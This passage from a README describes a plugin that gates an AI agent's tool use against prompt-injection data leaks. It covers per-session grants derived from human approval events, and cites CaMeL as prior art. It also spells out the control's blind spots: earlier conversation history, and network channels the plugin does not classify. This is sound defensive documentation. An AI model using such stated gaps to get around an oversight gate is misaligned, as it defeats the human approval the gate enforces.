section it classifies no producer, rewrites nothing, and rejects nothing. Even armed, the seam
sees only the messages entering a step, never the conversation history, so a secret that
arrived earlier through a tool/result is out of its reach.
Declassification clears one tool for one session.
A grant covers the capability class and the single tool the human approved, at or below the
label they were shown, for the life of that session only. It is derived by correlating the
harness's own approval/asked and approval/decided audit events, and an approval that
cannot be attributed to an ask airlock itself raised grants nothing. There is no persistence
across sessions and no revocation API, because the harness offers neither.
Nothing in this list was proven at runtime unless the run says so.
Compaction label inheritance and the web_fetch and web_search classification are
unit-tested and were not exercised end to end. See
Verified end to end.
The gate is one layer. It restricts the tools the harness owns. A tool that reaches the network through a channel this plugin does not classify is not covered. Classification is data, and correcting it is a pull request.
Prior art
The idea is not new, and the credit is not this project's to take.
- CaMeL: Defeating Prompt Injections by Design — Google DeepMind.
- tldrsec/prompt-injection-defenses — the survey.
- The openclaw CaMeL RFC, closed as stale without implementation.
None of them is a harness plugin. Network-level firewalls cannot see inside the context. The contribution here is an implementation on a runtime whose log invariant makes lineage tractable.
Development
npm install
npm run build
npm test
The test suite runs on node:test and needs no test framework dependency.
It is 390 tests across 65 suites at this release.
End-to-end verification against a real harness and a real model is a separate command, and it needs a model API key. See e2e/README.md.
docs/verification.md records what was checked against the harness source, what was checked against a running harness, and where the design documents turned out to be wrong.
License
MIT
No comments yet. Be the first to write one.